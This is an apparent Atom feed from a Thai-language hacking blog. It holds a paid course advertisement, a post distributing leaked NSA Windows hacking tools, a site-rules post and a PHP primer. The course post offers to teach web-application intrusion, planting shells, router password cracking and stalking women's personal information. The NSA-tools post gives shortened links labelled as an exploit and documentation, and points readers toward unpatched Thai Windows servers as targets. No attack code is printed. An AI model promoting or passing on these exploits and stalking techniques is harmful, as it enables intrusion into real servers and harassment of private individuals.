<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2982753419959124282</id><updated>2024-11-01T17:33:52.613+07:00</updated><category term="script"/><category term="Hack"/><category term="Hack Web"/><category term="สอนHack"/><category term="กลโกง Hacker Web"/><category term="PHP เบื้องต้น"/><category term="แฮกเว็บ"/><category term="Index"/><category term="Linux"/><category term="เขียนโปรแกรม"/><category term="Tool"/><category term="เขียนเว็บ"/><category term="คำสั่งพื้นฐาน"/><category term="สอนเขียน PHP"/><category term="Web"/><category term="ยิงIP"/><category term="สคิป Bot"/><category term="Programming"/><category term="บอท"/><category term="Bot Boom"/><category term="ปลอม IP"/><category term="Bot"/><category term="Hack Windows"/><category term="Hack เกมส์"/><category term="Perl"/><title type='text'>Kiss-Hack</title><subtitle type='html'>บทความ อบรม มือใหม่หัด Hack และ ผู้ต้องการ Hack</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://kiss-hack.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default?start-index=26&amp;max-results=25'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>51</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-3577452228896212371</id><published>2018-12-13T15:31:00.000+07:00</published><updated>2014-12-21T16:04:39.438+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hack"/><category scheme="http://www.blogger.com/atom/ns#" term="Hack Web"/><category scheme="http://www.blogger.com/atom/ns#" term="Index"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP เบื้องต้น"/><category scheme="http://www.blogger.com/atom/ns#" term="Programming"/><category scheme="http://www.blogger.com/atom/ns#" term="script"/><category scheme="http://www.blogger.com/atom/ns#" term="Web"/><category scheme="http://www.blogger.com/atom/ns#" term="กลโกง Hacker Web"/><category scheme="http://www.blogger.com/atom/ns#" term="เขียนเว็บ"/><category scheme="http://www.blogger.com/atom/ns#" term="แฮกเว็บ"/><title type='text'>คอร์ดรวมพื้นฐานการแฮค และ เทคนิคที่ใช้แฮค</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz4E1KhNv-z30cJrpyeahpzFpKEJcwaU1RjQZ3tj-_tEbJs8p5bJueIdI7H0vzWjuIstYTYwIDIcR6KlKe8Nn-Z-r_NAkMlnQYzDllWaZUI0UvY_PQB_cmMKSY1YBtm_dciHq-cjazCwIk/s1600/hacker.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz4E1KhNv-z30cJrpyeahpzFpKEJcwaU1RjQZ3tj-_tEbJs8p5bJueIdI7H0vzWjuIstYTYwIDIcR6KlKe8Nn-Z-r_NAkMlnQYzDllWaZUI0UvY_PQB_cmMKSY1YBtm_dciHq-cjazCwIk/s1600/hacker.jpg&quot; height=&quot;320&quot; width=&quot;264&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;userContent&quot; data-ft=&quot;{&amp;quot;tn&amp;quot;:&amp;quot;K&amp;quot;}&quot;&gt;&lt;span style=&quot;color: orange;&quot;&gt;เปิดคอร์ดสอนแฮคเว็บอีกครั้ง&lt;/span&gt;&lt;br /&gt; &lt;br /&gt; คอร์ดนี้จะสอนสำหรับ คนที่แทบไม่รู้อะไรเลย แต่ อยาก แฮคเป็น &lt;br /&gt; Skill สำหรับผู้เรียน &lt;br /&gt; - อ่าน เขียน ได้ก็เป็นพอ&lt;br /&gt; - PHP พอได้ หรือ ไม่รู้อะไรเลย&lt;br /&gt; - มีใจที่จะเรียน และ ต่อยอดกับสิ่งที่เรียน&lt;br /&gt; &lt;span class=&quot;text_exposed_show&quot;&gt;&lt;br /&gt; &lt;span style=&quot;color: orange;&quot;&gt;&lt;b&gt;คอร์ดเราสอนอะไรมั่ง&lt;/b&gt;&lt;/span&gt;&lt;br /&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;userContent&quot; data-ft=&quot;{&amp;quot;tn&amp;quot;:&amp;quot;K&amp;quot;}&quot;&gt;&lt;span class=&quot;text_exposed_show&quot;&gt;- การปลอมตัวใน Internet และการปลอม IP&lt;br /&gt; - สอนเกี่ยวกับ พื้นฐานคอม Internet network&lt;br /&gt; - PHP นิดหน่อยพอเข้าใจ&lt;br /&gt; - ช่องโหว่ที่ใช้ Hack เว็บต่างๆ LFI , RFI , SQL Injection , LFD ฯลฯ&lt;br /&gt; - การแฮคผ่าน Error message ฟังชั่น PHP &lt;br /&gt; - พื้นฐาน SQL พอเข้าใจ&lt;br /&gt; - เทคนิค Bypass และ การฝัง Shell และการประยุค จากช่องโหว่&lt;br /&gt; - ทำความรู้จักกับ Drok เพื่อหา ช่องโหว่ ในการแฮค&lt;br /&gt; - การสโตกเกอร์ข้อมูลสาว&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;userContent&quot; data-ft=&quot;{&amp;quot;tn&amp;quot;:&amp;quot;K&amp;quot;}&quot;&gt;&lt;span class=&quot;text_exposed_show&quot;&gt;- การทำ Shock จากเซิฟเวอร์ชาวบ้าน&lt;br /&gt;- การแฮครหัสผ่านเราเตอร์&lt;br /&gt; &lt;br /&gt; ราคาคอร์ด 4000 บาท สำหรับผู้ไม่รู้อะไรเลย&lt;br /&gt;  &lt;br /&gt; &lt;span style=&quot;color: orange;&quot;&gt;เรียนทางใหน? เรียนเท่าไร &lt;/span&gt;&lt;br /&gt; &lt;br /&gt; สอนสดผ่าน Facebook , Steam , Teamviwe 10 &lt;br /&gt; มีเอกสาร PDF และ VDO ให้ดูบางส่วน &lt;br /&gt; เวลาเรียนค่อยมาตกลงกันทีหลัง&lt;br /&gt; &lt;br /&gt; &lt;span style=&quot;color: orange;&quot;&gt;ข้อตกลงก่อนเรียน&lt;/span&gt;&lt;br /&gt; &lt;br /&gt; ผู้เรียนจะต้องเอาความรู้ไปใช้ ในทางที่ไม่ทำให้ตนเอง และ ผู้อื่นเดือดร้อน หากมีการ เกิดคดี ขึ้น ผู้สอนจะไม่รับผิดชอบใดๆต่อการก&lt;wbr&gt;&lt;/wbr&gt;ระทำของผู้เรียน ไม่ว่าจะกรณีใดๆก็ตาม (พ่อจะดีดใข่ให้)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;userContent&quot; data-ft=&quot;{&amp;quot;tn&amp;quot;:&amp;quot;K&amp;quot;}&quot;&gt;&lt;span class=&quot;text_exposed_show&quot;&gt;&lt;span class=&quot;userContent&quot; data-ft=&quot;{&amp;quot;tn&amp;quot;:&amp;quot;K&amp;quot;}&quot;&gt;&lt;span class=&quot;text_exposed_show&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;เนื้อหาการสอนจะราวๆ VDO นี้&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;userContent&quot; data-ft=&quot;{&amp;quot;tn&amp;quot;:&amp;quot;K&amp;quot;}&quot;&gt;&lt;span class=&quot;text_exposed_show&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.youtube.com/embed/0DgZ3g0nhHU?feature=player_embedded&#39; frameborder=&#39;0&#39;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;span class=&quot;userContent&quot; data-ft=&quot;{&amp;quot;tn&amp;quot;:&amp;quot;K&amp;quot;}&quot;&gt;&lt;span class=&quot;text_exposed_show&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;สนใจติดต่อที่ Inbox Facebook Fanpage :&lt;/span&gt;&lt;/b&gt; &lt;a href=&quot;https://www.facebook.com/KissshotStudio/&quot;&gt;https://www.facebook.com/KissshotStudio/&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/3577452228896212371'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/3577452228896212371'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2014/12/pentesting-hacking-webapplication.html' title='คอร์ดรวมพื้นฐานการแฮค และ เทคนิคที่ใช้แฮค'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz4E1KhNv-z30cJrpyeahpzFpKEJcwaU1RjQZ3tj-_tEbJs8p5bJueIdI7H0vzWjuIstYTYwIDIcR6KlKe8Nn-Z-r_NAkMlnQYzDllWaZUI0UvY_PQB_cmMKSY1YBtm_dciHq-cjazCwIk/s72-c/hacker.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-7718215179978611258</id><published>2017-07-28T11:48:00.000+07:00</published><updated>2017-07-30T10:48:22.358+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hack Windows"/><category scheme="http://www.blogger.com/atom/ns#" term="Hack เกมส์"/><category scheme="http://www.blogger.com/atom/ns#" term="Index"/><category scheme="http://www.blogger.com/atom/ns#" term="กลโกง Hacker Web"/><title type='text'>เครื่องมือแฮค NSA สำหรับ Hack Windows</title><content type='html'>&lt;div class=&quot;&quot; data-block=&quot;true&quot; data-editor=&quot;c6lj9&quot; data-offset-key=&quot;16l22-0-0&quot; style=&quot;background-color: white;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: #1d2129; font-family: &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmcAalz9dBQBq2WOVCQRueYI1xPbt-I4XQ5Z7SX71wiwAWWCvikx2yJA0Uh6DX1rzKAlIpQOyuF47Dn2RJu30luMxGgSLLz-QgZaWDVjgssboeItpNhT2le6iwT_4WxreExTscIbJG3hd5/s1600/windows-xp-hack-end-of-life.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;300&quot; data-original-width=&quot;640&quot; height=&quot;187&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmcAalz9dBQBq2WOVCQRueYI1xPbt-I4XQ5Z7SX71wiwAWWCvikx2yJA0Uh6DX1rzKAlIpQOyuF47Dn2RJu30luMxGgSLLz-QgZaWDVjgssboeItpNhT2le6iwT_4WxreExTscIbJG3hd5/s400/windows-xp-hack-end-of-life.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: #1d2129; font-family: &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: #1d2129; font-family: &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: #1d2129; font-family: &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif; white-space: pre-wrap;&quot;&gt;ปล่อยเครื่องมือแฮค ของ NSA ฟรี ครับ อาจจะเก่า และ ช้าไปหน่อย แต่ เซิฟในไทยที่ใช้ Windows Server ที่ไม่ update ค่อนข้างเยอะ (ส่วนมากจะเป็น เซิฟเกมส์เถื่อน ต่างๆ)เครื่องมือที่จำเป็น&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: #1d2129; font-family: &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: #1d2129; font-family: &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif;&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left; white-space: pre-wrap;&quot;&gt;
&lt;span style=&quot;color: #1d2129; font-family: &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif;&quot;&gt;1. Windows 7 32bit&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: #1d2129; font-family: &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif;&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left; white-space: pre-wrap;&quot;&gt;
&lt;span style=&quot;color: #1d2129; font-family: &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif;&quot;&gt;2. Python 2.6 - 2.7&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: #1d2129; font-family: &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif;&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left; white-space: pre-wrap;&quot;&gt;
&lt;span style=&quot;color: #1d2129; font-family: &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif;&quot;&gt;3. PyWin32  &lt;a href=&quot;http://clkmein.com/qBC7Br&quot;&gt;http://clkmein.com/qBC7Br&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: #1d2129; font-family: &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif;&quot;&gt;
&lt;/span&gt;
&lt;div style=&quot;text-align: left; white-space: pre-wrap;&quot;&gt;
&lt;span style=&quot;color: #1d2129; font-family: &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: #1d2129; font-family: &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif;&quot;&gt;
&lt;div style=&quot;text-align: left; white-space: pre-wrap;&quot;&gt;
สำหรับเครื่องมือแฮคนี้ ถูกออกแบบมาให้ใช้ได้บน Windows 7 32bit เท่านั้น จะใช้ VmWare หรือ VmBox จำลองขึ้นมา run หรือ จะเช่า VPS ก็เลือกใช้ตามใจ (สำหรับ VPS จะไม่ต้อง ยุ่งยากเรื่อง set forward port) &lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left; white-space: pre-wrap;&quot;&gt;
VDO วิธีใช้นั้น ต้องขอบคุณทาง MaYaseven ที่ทำ VDO ออกมาแบบระเอียด&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;white-space: pre-wrap;&quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;
VDO : &lt;a href=&quot;http://clkmein.com/qBC6iH&quot;&gt;http://clkmein.com/qBC6iH&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Docs : &lt;a href=&quot;http://clkmein.com/qBC58u&quot;&gt;http://clkmein.com/qBC58u&lt;/a&gt;&lt;/div&gt;
&lt;/span&gt;&lt;div style=&quot;text-align: left; white-space: pre-wrap;&quot;&gt;
Exploit : &lt;a href=&quot;http://clkmein.com/qBC5GF&quot;&gt;http://clkmein.com/qBC5GF&lt;/a&gt;&lt;/div&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;_1mf _1mj&quot; data-offset-key=&quot;16l22-0-0&quot; style=&quot;color: #1d2129; direction: ltr; font-family: inherit; font-size: 16px; position: relative; white-space: pre-wrap;&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/7718215179978611258'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/7718215179978611258'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2017/07/nsa-hack-windows.html' title='เครื่องมือแฮค NSA สำหรับ Hack Windows'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmcAalz9dBQBq2WOVCQRueYI1xPbt-I4XQ5Z7SX71wiwAWWCvikx2yJA0Uh6DX1rzKAlIpQOyuF47Dn2RJu30luMxGgSLLz-QgZaWDVjgssboeItpNhT2le6iwT_4WxreExTscIbJG3hd5/s72-c/windows-xp-hack-end-of-life.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-7120011062467356087</id><published>2016-09-11T10:38:00.000+07:00</published><updated>2013-10-14T11:22:07.143+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hack"/><category scheme="http://www.blogger.com/atom/ns#" term="Hack Web"/><category scheme="http://www.blogger.com/atom/ns#" term="Index"/><category scheme="http://www.blogger.com/atom/ns#" term="Tool"/><category scheme="http://www.blogger.com/atom/ns#" term="สอนHack"/><title type='text'>กฏระเบียบในเว็บและเพจ (วงการด้วย)</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg92agIwSc84AOu4UZuV4vj7J-MW42dk4nrQY-tgSK4RN6S7jt0xHNdpuf2S7ATPJckzfLDVep3woEnIriYME5z8kAGw8SdhZjjrFTi5J2V8ybgoqdjvyEAFn8WzBOpOIlkgKjqvjJJRfrz/s1600/Untitled-2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;92&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg92agIwSc84AOu4UZuV4vj7J-MW42dk4nrQY-tgSK4RN6S7jt0xHNdpuf2S7ATPJckzfLDVep3woEnIriYME5z8kAGw8SdhZjjrFTi5J2V8ybgoqdjvyEAFn8WzBOpOIlkgKjqvjJJRfrz/s1600/Untitled-2.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&amp;nbsp; ที่จริงก็ไม่อยากจะพูดอะไรมากมายให้รำคาญใจกันเปล่าๆ แต่ว่ายังไงผมก็ยอมรับว่า หากสังคมไม่มีกฏระเบียบคงวุ่นวายกันยกใหญ่ ไม่ว่าที่ใดย่อมมีกฏเป็นของตัวเอง ที่นี่ก็เหมือนกัน ทำไมผมต้องออกกฏ ทำไม ผมต้องทำอะไรให้ วุ่นวาย เพราะหากผมไม่ออก กฏ ละก็มีหวังเละแน่ เด็กเยอะ พวกดี ก็ดีไป พวกเกรียนก็เยอะ (พวกติดหนี้ก็มีมา) ที่นี้ยอมรับหมดครับไม่ว่าคุณจะสูงแค่ใหน ไม่ว่าคุณจะต่ำเพียงใด ขอให้รู้ไว้ครับว่า Kiss-Hack กับ KissShot - Studio ก็เหมือนกับ บ้าน โรงเรียน สถานที่พักผ่อน ของคุณ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
กฏเหล็กที่ต้องทำตาม&lt;br /&gt;
&lt;br /&gt;
1.ห้ามใช้ความรู้ที่ได้ไป เกรียนชาวบ้านเพื่อความสนุก ส่วนตัว&lt;br /&gt;
2.ห้ามใช้คำหยาบ ในเพจ เว็บ บล๊อก ผมไม่ชอบเด็กที่ไม่รู้จักผู้หลัก ผู้ใหญ่&lt;br /&gt;
3.ก่อนที่จะถามผม คุณลองหา จาก Google มารึยัง ลองค้นดูก่อน&lt;br /&gt;
4.ไม่รับทำโปร ไม่รับ Hack เป็นการส่วนตัว ไม่รับยิง IP หรือ อะไรทั้งสิ้น โปรแกรมมีไว้ให้แล้ว เอาไปใช้เองครับ&lt;br /&gt;
&amp;nbsp;5.ถ้าอยากเป็น Hacker , Cracker , Programmin&amp;nbsp; ศึกษาครับ ลงเรียนคอร์ดสอน หรือ ศึกษา Google การเรียนนั้นเราต้องค้นหามัน ไม่ใช่รอให้มันมาหา&lt;br /&gt;
6.อยากให้รู้ไว้เสมอว่า การ Hack นั้นมันไม่เท่ หรือ ง่าย แบบในหนัง ไม่ใช่ว่าเรียนปุ๊บเจาะระบบ ธนาคาร ได้ปั๊บ มันต้องรู้จักคิดครับ เหมือนนโยบายของเว็บ &quot;คิดจะแฮค ต้องคิดให้เป็น&quot; มันต้องรู้จัก การทำงานของระบบก่อน ต้องรู้ว่า เว็บนั้นมีช่องโหว่อะไร พาธ อะไร มันต้องรู้จักต่อยอดไปเรื่อยๆ การเรียนรู้ไม่มีจบหรอกครับ&lt;br /&gt;
&lt;br /&gt;
คิดกฏอื่นออก ตอนใหนจะมาเพิ่มครับ&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -ขอบคุณครับ-</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/7120011062467356087'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/7120011062467356087'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2013/09/blog-post.html' title='กฏระเบียบในเว็บและเพจ (วงการด้วย)'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg92agIwSc84AOu4UZuV4vj7J-MW42dk4nrQY-tgSK4RN6S7jt0xHNdpuf2S7ATPJckzfLDVep3woEnIriYME5z8kAGw8SdhZjjrFTi5J2V8ybgoqdjvyEAFn8WzBOpOIlkgKjqvjJJRfrz/s72-c/Untitled-2.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-3165502291540000293</id><published>2016-08-21T10:28:00.000+07:00</published><updated>2013-08-22T23:20:40.164+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Index"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP เบื้องต้น"/><category scheme="http://www.blogger.com/atom/ns#" term="สอนเขียน PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="เขียนเว็บ"/><category scheme="http://www.blogger.com/atom/ns#" term="เขียนโปรแกรม"/><category scheme="http://www.blogger.com/atom/ns#" term="แฮกเว็บ"/><title type='text'>PHP เบื้องต้น (คุยกันก่อน)</title><content type='html'>&lt;head&gt;
&lt;title&gt;Kiss-Hack : PHP เบื้องต้น&lt;/title&gt;
&lt;/head&gt;

&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOGiCw2mjabNHRm2c21i3vU6gqWrB6IYDR5Namo_oa5D2Td44ggfxzndlRO2bb2sUBUNjunouhqmILlA_eOQc149nIf_sgxTqvvrAW-fraEVXBKsJF0UZ609xR9zf-qE5P4Hx3WiSZ8JLE/s1600/php.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;366&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOGiCw2mjabNHRm2c21i3vU6gqWrB6IYDR5Namo_oa5D2Td44ggfxzndlRO2bb2sUBUNjunouhqmILlA_eOQc149nIf_sgxTqvvrAW-fraEVXBKsJF0UZ609xR9zf-qE5P4Hx3WiSZ8JLE/s400/php.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
ในบทความนี้ จะเป็นการเปิด หมวดหมู่ใหม่นั้นก็คือ PHP เบื้องต้น เนื่องจากการ Hack นั้นส่วนมากจะมี ภาษา PHP ปนมาด้วย (หลักๆ คือสอนแนวๆทำเว็บ นั้นละ) ภาษา PHP นั้นสามารถเขียนรวมกับ HTML เพื่อแสดงผล ถ้ารู้ภาษา PHP แล้วก็สามารถรู้ได้ว่า ช่องโหว่ตรงนั้นตรงนี้ จะเจาะตรงใหนแบบนี้&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;ในการเตรียมตัวสำหรับการเขียน ที่คุณ้องเตรียมคือ &lt;br /&gt;
&lt;br /&gt;
1.AppServ โหลดได้ที่ : &lt;a href=&quot;http://sourceforge.net/projects/appserv/files/AppServ%20Open%20Project/2.5.10/appserv-win32-2.5.10.exe/download?use_mirror=jaist&amp;amp;download=&quot; target=&quot;_blank&quot;&gt;http://sourceforge.net/&lt;/a&gt;&lt;br /&gt;
2.Xampp&amp;nbsp;&amp;nbsp;&amp;nbsp; โหลดได้ที่ : &lt;span class=&quot;detailTutorial&quot;&gt;&lt;span class=&quot;notranslate&quot;&gt;&lt;span class=&quot;fontcode&quot;&gt;&lt;a class=&quot;external&quot; href=&quot;http://www.thaicreate.com/outlink.php?l=http://www.apachefriends.org/en/xampp-windows.html&quot; rel=&quot;nofollow&quot; target=&quot;blank&quot;&gt;http://www.apachefriends.org/en/xampp-windows.html&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
